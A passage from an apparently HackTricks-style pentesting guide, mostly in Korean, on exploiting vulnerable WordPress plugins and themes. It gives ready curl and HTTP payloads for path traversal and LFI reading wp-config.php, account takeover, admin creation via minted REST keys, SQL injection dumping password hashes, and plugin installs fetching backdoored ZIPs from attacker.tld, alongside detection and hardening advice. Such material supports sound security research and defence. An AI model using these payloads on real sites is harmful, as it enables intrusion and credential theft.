$file_name์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋ฉฐ ๊ฒ€์ฆ ์—†์ด ์—ฐ๊ฒฐ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์‹œ, ์œ ์ผํ•œ ๊ด€๋ฌธ์€ ์ด๋ ฅ์„œ ํŽ˜์ด์ง€์—์„œ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” CSRF nonce์ž…๋‹ˆ๋‹ค.

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

The server responds with the contents of wp-config.php, leaking DB credentials and auth keys.

Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)์„ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณ„์ • ํƒˆ์ทจ

๋งŽ์€ ํ…Œ๋งˆ/ํ”Œ๋Ÿฌ๊ทธ์ธ์€ admin-ajax.php๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋˜๋Š” โ€œsocial loginโ€ ํ—ฌํผ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ unauthenticated AJAX action (wp_ajax_nopriv_โ€ฆ)์ด provider ๋ฐ์ดํ„ฐ๊ฐ€ ์—†์„ ๋•Œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ์‹๋ณ„์ž๋ฅผ ์‹ ๋ขฐํ•˜๊ณ  wp_set_auth_cookie()๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด, ์ด๋Š” ์™„์ „ํ•œ ์ธ์ฆ ์šฐํšŒ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

Typical flawed pattern (simplified)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider โ€“ execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // ๐Ÿ”ฅ logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Why itโ€™s exploitable

  • ์ธ์ฆ ์—†์ด ์ ‘๊ทผ ๊ฐ€๋Šฅ via admin-ajax.php (wp_ajax_nopriv_โ€ฆ action).
  • ์ƒํƒœ ๋ณ€๊ฒฝ ์ „์— nonce/capability checks ์—†์Œ.
  • Missing OAuth/OpenID provider verification; ๊ธฐ๋ณธ ๋ถ„๊ธฐ(default branch)๊ฐ€ ๊ณต๊ฒฉ์ž ์ž…๋ ฅ์„ ์ˆ˜์šฉํ•จ.
  • get_user_by(โ€˜emailโ€™, $_POST[โ€˜idโ€™]) ์ดํ›„ wp_set_auth_cookie($uid)๊ฐ€ ํ˜ธ์ถœ๋˜์–ด ์š”์ฒญ์ž๋ฅผ ์ž„์˜์˜ ๊ธฐ์กด ์ด๋ฉ”์ผ ์ฃผ์†Œ๋กœ ์ธ์ฆํ•จ.

Exploitation (unauthenticated)

  • Prerequisites: ๊ณต๊ฒฉ์ž๊ฐ€ /wp-admin/admin-ajax.php์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ณ  ์œ ํšจํ•œ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ์„ ์•Œ๊ณ  ์žˆ๊ฑฐ๋‚˜ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Œ.
  • provider๋ฅผ ์ง€์›๋˜์ง€ ์•Š๋Š” ๊ฐ’์œผ๋กœ ์„ค์ •(๋˜๋Š” ์ƒ๋žต)ํ•˜์—ฌ default branch๋ฅผ ํƒ€๊ณ  id=<victim_email>๋ฅผ ์ „๋‹ฌ.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {โ€œstatusโ€:โ€œsuccessโ€,โ€œmessageโ€:โ€œLogin successfully.โ€}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action(โ€˜wp_ajax_nopriv_โ€ฆโ€™, โ€˜โ€ฆโ€™) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by(โ€˜emailโ€™, โ€ฆ) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • ํด๋ผ์ด์–ธํŠธ ์ž…๋ ฅ์—์„œ ์‹ ์›์„ ์œ ์ถ”ํ•˜์ง€ ๋งˆ์„ธ์š”. ๊ฒ€์ฆ๋œ provider token/ID์—์„œ ์œ ๋ž˜ํ•œ ์ด๋ฉ”์ผ/ID๋งŒ ํ—ˆ์šฉํ•˜์„ธ์š”.
  • ๋กœ๊ทธ์ธ ๋ณด์กฐ ๊ธฐ๋Šฅ์—๋„ CSRF nonces์™€ capability ์ฒดํฌ๋ฅผ ์š”๊ตฌํ•˜์„ธ์š”; ํ•„์š”ํ•˜์ง€ ์•Š๋‹ค๋ฉด wp_ajax_nopriv_ ๋“ฑ๋ก์„ ํ”ผํ•˜์„ธ์š”.
  • OAuth/OIDC ์‘๋‹ต์„ ์„œ๋ฒ„ ์ธก์—์„œ ๊ฒ€์ฆํ•˜์„ธ์š”; ๋ˆ„๋ฝ๋˜๊ฑฐ๋‚˜ ์œ ํšจํ•˜์ง€ ์•Š์€ provider๋Š” ๊ฑฐ๋ถ€ํ•˜์„ธ์š”(POST id๋กœ ํด๋ฐฑํ•˜์ง€ ๋งˆ์„ธ์š”).
  • ์ˆ˜์ •๋  ๋•Œ๊นŒ์ง€ social login์„ ์ผ์‹œ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ์—ฃ์ง€์—์„œ ์ทจ์•ฝํ•œ action์„ ์ฐจ๋‹จํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ฐ€์ƒ ํŒจ์น˜ ์ ์šฉ์„ ๊ณ ๋ คํ•˜์„ธ์š”.

Patched behaviour (Jobmonster 4.8.0)

  • $_POST[โ€˜idโ€™]์˜ ๋ถˆ์•ˆ์ „ํ•œ ํด๋ฐฑ์„ ์ œ๊ฑฐํ•จ; $user_email์€ switch($_POST[โ€˜usingโ€™])์˜ ๊ฒ€์ฆ๋œ provider ๋ถ„๊ธฐ์—์„œ ์œ ๋ž˜ํ•ด์•ผ ํ•จ.

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers โ‰ค 1.0.82)

์ผ๋ถ€ ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ํ˜ธ์ถœ์ž์˜ ๊ถŒํ•œ์„ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ โ€œconnection keysโ€ ๋˜๋Š” ํ† ํฐ์„ ๋ฐœ๊ธ‰(mint)ํ•˜๋Š” REST ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋ผ์šฐํŠธ๊ฐ€ ์ถ”์ธก ๊ฐ€๋Šฅํ•œ ์†์„ฑ(e.g., username)๋งŒ์œผ๋กœ ์ธ์ฆํ•˜๊ณ  ํ‚ค๋ฅผ ๊ถŒํ•œ ์ฒดํฌ๊ฐ€ ์žˆ๋Š” ์‚ฌ์šฉ์ž/์„ธ์…˜์— ๋ฐ”์ธ๋”ฉํ•˜์ง€ ์•Š์œผ๋ฉด, ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰๋ฐ›์•„ ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ๋™์ž‘(admin ๊ณ„์ • ์ƒ์„ฑ, plugin ๋™์ž‘ โ†’ RCE)์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC โ€“ mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# โ†’ {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Why itโ€™s exploitable

  • ๋ฏผ๊ฐํ•œ REST ๊ฒฝ๋กœ๊ฐ€ ๋‚ฎ์€ ์—”ํŠธ๋กœํ”ผ์˜ ์‹ ์› ์ฆ๋ช… (username) ๋งŒ์œผ๋กœ ๋ณดํ˜ธ๋˜๊ฑฐ๋‚˜ permission_callback์ด ๋ˆ„๋ฝ๋˜์–ด ์žˆ์Œ
  • capability ๊ฒ€์ฆ์ด ์—†์–ด ๋ฐœ๊ธ‰๋œ ํ‚ค๊ฐ€ ๋ฒ”์šฉ ์šฐํšŒ๋กœ๋กœ ๋ฐ›์•„๋“ค์—ฌ์ง

Detection checklist

  • Grep plugin code for register_rest_route(โ€ฆ, [ โ€˜permission_callbackโ€™ => โ€˜__return_trueโ€™ ])
  • ์š”์ฒญ์œผ๋กœ ์ œ๊ณต๋œ ์‹ ์›(username/email)์— ๊ธฐ๋ฐ˜ํ•ด tokens/keys๋ฅผ ๋ฐœ๊ธ‰ํ•˜์ง€๋งŒ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๋‚˜ capability์— ๋ฌถ์ง€ ์•Š๋Š” ๋ชจ๋“  ๊ฒฝ๋กœ
  • ์„œ๋ฒ„ ์ธก capability ๊ฒ€์ฆ ์—†์ด ๋ฐœ๊ธ‰๋œ token/key๋ฅผ ๋ฐ›์•„๋“ค์ด๋Š” ํ›„์† ๊ฒฝ๋กœ๋ฅผ ์ฐพ์•„๋ผ

Hardening

  • ๊ถŒํ•œ์ด ํ•„์š”ํ•œ REST ๊ฒฝ๋กœ์—๋Š” ํ•ด๋‹น capability์— ๋Œ€ํ•ด current_user_can()์„ ๊ฐ•์ œํ•˜๋Š” permission_callback์„ ์š”๊ตฌํ•˜๋ผ
  • ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ์‹ ์›์œผ๋กœ ์žฅ๊ธฐ ์œ ํšจ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰ํ•˜์ง€ ๋ง ๊ฒƒ; ํ•„์š”ํ•˜๋ฉด ์ธ์ฆ ํ›„ ๋‹จ๊ธฐ, ์‚ฌ์šฉ์ž ๋ฐ”์ธ๋“œ๋œ ํ† ํฐ์„ ๋ฐœ๊ธ‰ํ•˜๊ณ  ์‚ฌ์šฉ ์‹œ capability๋ฅผ ์žฌ๊ฒ€์ฆํ•˜๋ผ
  • ํ˜ธ์ถœ์ž์˜ ์‚ฌ์šฉ์ž ์ปจํ…์ŠคํŠธ๋ฅผ ๊ฒ€์ฆํ•˜๋ผ (wp_set_current_user๋Š” ๋‹จ๋…์œผ๋กœ ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์Œ) ๋ฐ !is_user_logged_in() || !current_user_can() ์ธ ๊ฒฝ์šฐ ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•˜๋ผ

Nonce gate misuse โ†’ unauthenticated arbitrary plugin installation (FunnelKit Automations โ‰ค 3.5.3)

Nonces๋Š” CSRF๋ฅผ ๋ฐฉ์ง€ํ•  ๋ฟ ๊ถŒํ•œ ๋ถ€์—ฌ(authorization)๋ฅผ ๋Œ€์‹ ํ•˜์ง€ ๋ชปํ•œ๋‹ค. ์ฝ”๋“œ๊ฐ€ nonce ํ†ต๊ณผ๋ฅผ ํ—ˆ๊ฐ€ ์‹ ํ˜ธ๋กœ ๋ณด๊ณ  install/activate plugins ๊ฐ™์€ ๊ถŒํ•œ ์ž‘์—…์—์„œ capability ๊ฒ€์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋›ด๋‹ค๋ฉด, ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๋Š” ์•ฝํ•œ nonce ์š”๊ตฌ์‚ฌํ•ญ์„ ์ถฉ์กฑ์‹œ์ผœ ๋ฐฑ๋„์–ด๊ฐ€ ์‹ฌ๊ธด ๋˜๋Š” ์ทจ์•ฝํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•จ์œผ๋กœ์จ RCE์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(โ€˜install_pluginsโ€™|โ€˜activate_pluginsโ€™) once nonce โ€œpassesโ€
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Hardening

  • ํ•ญ์ƒ nonces๋ฅผ CSRF ํ† ํฐ์œผ๋กœ๋งŒ ์ทจ๊ธ‰ํ•˜์„ธ์š”; nonce ์ƒํƒœ์™€ ๊ด€๊ณ„์—†์ด ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ๊ฐ•์ œํ•˜์„ธ์š”
  • installer code์— ๋„๋‹ฌํ•˜๊ธฐ ์ „์— current_user_can(โ€˜install_pluginsโ€™) ๋ฐ current_user_can(โ€˜activate_pluginsโ€™)๋ฅผ ์š”๊ตฌํ•˜์„ธ์š”
  • ์ธ์ฆ๋˜์ง€ ์•Š์€ ์ ‘๊ทผ์„ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”; ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ํ๋ฆ„์— ๋Œ€ํ•ด nopriv AJAX actions๋ฅผ ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”

Subscriber+ AJAX plugin installer โ†’ forced malicious activation (Motors Theme โ‰ค 5.6.81)

Patchstackโ€™s analysis๊ฐ€ Motors theme์ด ๋™๋ฐ˜ ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์„ค์น˜ํ•˜๊ธฐ ์œ„ํ•œ ์ธ์ฆ๋œ AJAX ํ—ฌํผ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • ์˜ค์ง check_ajax_referer()๋งŒ ํ˜ธ์ถœ๋˜๋ฉฐ; current_user_can('install_plugins')๋‚˜ current_user_can('activate_plugins')๋Š” ์—†๋‹ค.
  • ํ•ด๋‹น nonce๋Š” Motors ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€์— ํฌํ•จ๋˜์–ด ์žˆ์–ด, /wp-admin/์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  Subscriber๋Š” HTML/JS์—์„œ ์ด๋ฅผ ๋ณต์‚ฌํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ํ•ธ๋“ค๋Ÿฌ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” plugin ํŒŒ๋ผ๋ฏธํ„ฐ($_GET์—์„œ ์ฝ์Œ)๋ฅผ ์‹ ๋ขฐํ•˜์—ฌ Plugin_Upgrader::install()์— ์ „๋‹ฌํ•˜๋ฏ€๋กœ, ์ž„์˜์˜ ์›๊ฒฉ ZIP์ด wp-content/plugins/๋กœ ๋‹ค์šด๋กœ๋“œ๋œ๋‹ค.
  • ์„ค์น˜ ํ›„ ํ…Œ๋งˆ๋Š” ์กฐ๊ฑด ์—†์ด mvl_theme_activate_plugin()๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๊ณต๊ฒฉ์ž ํ”Œ๋Ÿฌ๊ทธ์ธ์˜ PHP ์ฝ”๋“œ ์‹คํ–‰์„ ๋ณด์žฅํ•œ๋‹ค.

Exploitation flow

  1. ์ €๊ถŒํ•œ ๊ณ„์ •(Subscriber๋ฉด ์ถฉ๋ถ„ํ•จ)์„ ๋“ฑ๋กํ•˜๊ฑฐ๋‚˜ ํƒˆ์ทจํ•˜๊ณ  Motors ๋Œ€์‹œ๋ณด๋“œ UI์—์„œ mvl_theme_install_base nonce๋ฅผ ํš๋“ํ•œ๋‹ค.
  2. ์ตœ์ƒ์œ„ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์˜ˆ์ƒ๋˜๋Š” ์Šฌ๋Ÿฌ๊ทธ motors-car-dealership-classified-listings/์™€ ์ผ์น˜ํ•˜๋Š” plugin ZIP์„ ๋งŒ๋“ค๊ณ , *.php ์ง„์ž…์ ์— backdoor ๋˜๋Š” webshell์„ ํฌํ•จ์‹œํ‚จ๋‹ค.
  3. ZIP์„ ํ˜ธ์ŠคํŠธํ•˜๊ณ  ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋‹น์‹ ์˜ URL๋กœ ์ง€์ •ํ•˜์—ฌ ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์„ ํŠธ๋ฆฌ๊ฑฐํ•œ๋‹ค:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

ํ•ธ๋“ค๋Ÿฌ๊ฐ€ $_GET['plugin']์„ ์ฝ๊ธฐ ๋•Œ๋ฌธ์— ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋Š” ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด์„ ํ†ตํ•ด์„œ๋„ ์ „์†ก๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • ํ…Œ๋งˆ/ํ”Œ๋Ÿฌ๊ทธ์ธ์—์„œ Plugin_Upgrader, Theme_Upgrader, ๋˜๋Š” install_plugin.php ์ปค์Šคํ…€ ํ—ฌํผ๊ฐ€ wp_ajax_* ํ›…์— capability ๊ฒ€์‚ฌ ์—†์ด ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š”์ง€ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”.
  • plugin, package, source, ๋˜๋Š” url ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ upgrader API๋กœ ์ „๋‹ฌํ•˜๋Š” ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๊ฒ€์‚ฌํ•˜์„ธ์š”. ํŠนํžˆ ์Šฌ๋Ÿฌ๊ทธ๊ฐ€ ํ•˜๋“œ์ฝ”๋”ฉ๋˜์–ด ์žˆ๊ณ  ZIP ๋‚ด์šฉ์ด ๊ฒ€์ฆ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ์ฃผ์˜ํ•˜์„ธ์š”.
  • ์ธ์Šคํ†จ๋Ÿฌ ๋™์ž‘์— ๋Œ€ํ•œ nonce๋ฅผ ๋…ธ์ถœํ•˜๋Š” ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€๋ฅผ ๊ฒ€ํ† ํ•˜์„ธ์š”โ€”Subscribers๊ฐ€ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด nonce๊ฐ€ leak๋œ ๊ฒƒ์œผ๋กœ ๊ฐ€์ •ํ•˜์„ธ์š”.

๊ฐ•ํ™”

  • nonce ๊ฒ€์ฆ ํ›„ ์ธ์Šคํ†จ๋Ÿฌ AJAX ์ฝœ๋ฐฑ์— ๋Œ€ํ•ด current_user_can('install_plugins') ๋ฐ current_user_can('activate_plugins') ๊ถŒํ•œ ๊ฒ€์‚ฌ๋ฅผ ์ ์šฉํ•˜์„ธ์š”; Motors 5.6.82๊ฐ€ ์ด ๋ฒ„๊ทธ๋ฅผ ํŒจ์น˜ํ•˜๊ธฐ ์œ„ํ•ด ์ด ๊ฒ€์‚ฌ๋ฅผ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ URL์„ ๊ฑฐ๋ถ€ํ•˜์„ธ์š”: ์ธ์Šคํ†จ๋Ÿฌ๋ฅผ ๋ฒˆ๋“ค๋œ ZIP์ด๋‚˜ ์‹ ๋ขฐ๋œ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ๋กœ ์ œํ•œํ•˜๊ฑฐ๋‚˜ ์„œ๋ช…๋œ ๋‹ค์šด๋กœ๋“œ ๋งค๋‹ˆํŽ˜์ŠคํŠธ๋ฅผ ๊ฐ•์ œํ•˜์„ธ์š”.
  • nonce๋ฅผ ์—„๊ฒฉํžˆ CSRF ํ† ํฐ์œผ๋กœ ์ทจ๊ธ‰ํ•˜์„ธ์š”; nonce๋Š” ๊ถŒํ•œ์„ ์ œ๊ณตํ•˜์ง€ ์•Š์œผ๋ฉฐ capability ๊ฒ€์‚ฌ๋ฅผ ๋Œ€์ฒดํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

depicter-* ์•ก์…˜์˜ s ๊ฒ€์ƒ‰ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•œ ์ธ์ฆ๋˜์ง€ ์•Š์€ SQLi (Depicter Slider โ‰ค 3.6.1)

์—ฌ๋Ÿฌ depicter-* ์•ก์…˜์ด s (search) ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ SQL ์ฟผ๋ฆฌ์— ํŒŒ๋ผ๋ฏธํ„ฐํ™” ์—†์ด ๋ฌธ์ž์—ด์„ ์ด์–ด๋ถ™์˜€์Šต๋‹ˆ๋‹ค.

  • ํŒŒ๋ผ๋ฏธํ„ฐ: s (search)
  • ๊ฒฐํ•จ: WHERE/LIKE ์ ˆ์—์„œ ์ง์ ‘ ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ; prepared statements/์ž…๋ ฅ ์ •ํ™” ์—†์Œ
  • ์˜ํ–ฅ: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์œ ์ถœ(์‚ฌ์šฉ์ž, ํ•ด์‹œ), ์ˆ˜ํ‰ ์ด๋™

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • depicter-* ์•ก์…˜ ํ•ธ๋“ค๋Ÿฌ์™€ SQL์—์„œ $_GET[โ€˜sโ€™] ๋˜๋Š” $_POST[โ€˜sโ€™]์˜ ์ง์ ‘ ์‚ฌ์šฉ์„ grep์œผ๋กœ ๊ฒ€์ƒ‰
  • s๋ฅผ ์—ฐ๊ฒฐํ•˜์—ฌ $wpdb->get_results()/query()์— ์ „๋‹ฌ๋˜๋Š” ์ปค์Šคํ…€ ์ฟผ๋ฆฌ๋ฅผ ๊ฒ€ํ† 

๊ฐ•ํ™”

  • ํ•ญ์ƒ $wpdb->prepare() ๋˜๋Š” wpdb placeholders๋ฅผ ์‚ฌ์šฉ; ์„œ๋ฒ„ ์ธก์—์„œ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ๋ฉ”ํƒ€๋ฌธ์ž๋ฅผ ๊ฑฐ๋ถ€
  • s์— ๋Œ€ํ•ด ์—„๊ฒฉํ•œ ํ—ˆ์šฉ ๋ชฉ๋ก์„ ์ถ”๊ฐ€ํ•˜๊ณ  ์˜ˆ์ƒ ๋ฌธ์ž์…‹/๊ธธ์ด๋กœ ์ •๊ทœํ™”

์ธ์ฆ๋˜์ง€ ์•Š์€ Local File Inclusion (๊ฒ€์ฆ๋˜์ง€ ์•Š์€ template/file ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•œ) (Kubio AI Page Builder โ‰ค 2.5.1)

ํ…œํ”Œ๋ฆฟ ํŒŒ๋ผ๋ฏธํ„ฐ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ฒฝ๋กœ๋ฅผ ์ •๊ทœํ™”/๊ฒฉ๋ฆฌ ์—†์ด ํ—ˆ์šฉํ•˜๋ฉด ์ž„์˜์˜ ๋กœ์ปฌ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํฌํ•จ ๊ฐ€๋Šฅํ•œ PHP/๋กœ๊ทธ ํŒŒ์ผ์ด ๋Ÿฐํƒ€์ž„์— ํฌํ•จ๋˜๋ฉด ๋•Œ๋•Œ๋กœ ์ฝ”๋“œ ์‹คํ–‰(RCE)์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: ์ •๊ทœํ™”/ํ—ˆ์šฉ ๋ชฉ๋ก ์—†์Œ; ๋””๋ ‰ํ„ฐ๋ฆฌ ํŠธ๋ž˜๋ฒ„์„ค ํ—ˆ์šฉ
  • Impact: ๋น„๋ฐ€ ๋…ธ์ถœ (wp-config.php), ํŠน์ • ํ™˜๊ฒฝ์—์„œ ์ž ์žฌ์  RCE (log poisoning, includable PHP)

PoC โ€“ wp-config.php ์ฝ๊ธฐ

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • realpath() ๊ฒ€์ฆ ์—†์ด ์š”์ฒญ ๊ฒฝ๋กœ๋ฅผ include()/require()/read sinks์— ์—ฐ๊ฒฐ(concatenate)ํ•˜๋Š” ๋ชจ๋“  ํ•ธ๋“ค๋Ÿฌ
  • ์˜๋„๋œ templates ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ–์œผ๋กœ ๋ฒ—์–ด๋‚˜๋Š” traversal ํŒจํ„ด (../) ์ฐพ๊ธฐ

๋ณด์•ˆ ๊ฐ•ํ™”

  • ํ—ˆ์šฉ ๋ชฉ๋ก์— ์žˆ๋Š” ํ…œํ”Œ๋ฆฟ ๊ฐ•์ œ ์ ์šฉ; realpath()๋กœ ๊ฒฝ๋กœ๋ฅผ ํ•ด์„ํ•˜๊ณ  require str_starts_with(realpath(file), realpath(allowed_base))
  • ์ž…๋ ฅ ์ •๊ทœํ™”; traversal ์‹œํ€€์Šค์™€ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋Š” ๊ฑฐ๋ถ€; sanitize_file_name()์€ ํŒŒ์ผ๋ช…์—๋งŒ ์‚ฌ์šฉ(์ „์ฒด ๊ฒฝ๋กœ์—๋Š” ์‚ฌ์šฉํ•˜์ง€ ์•Š์Œ)

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ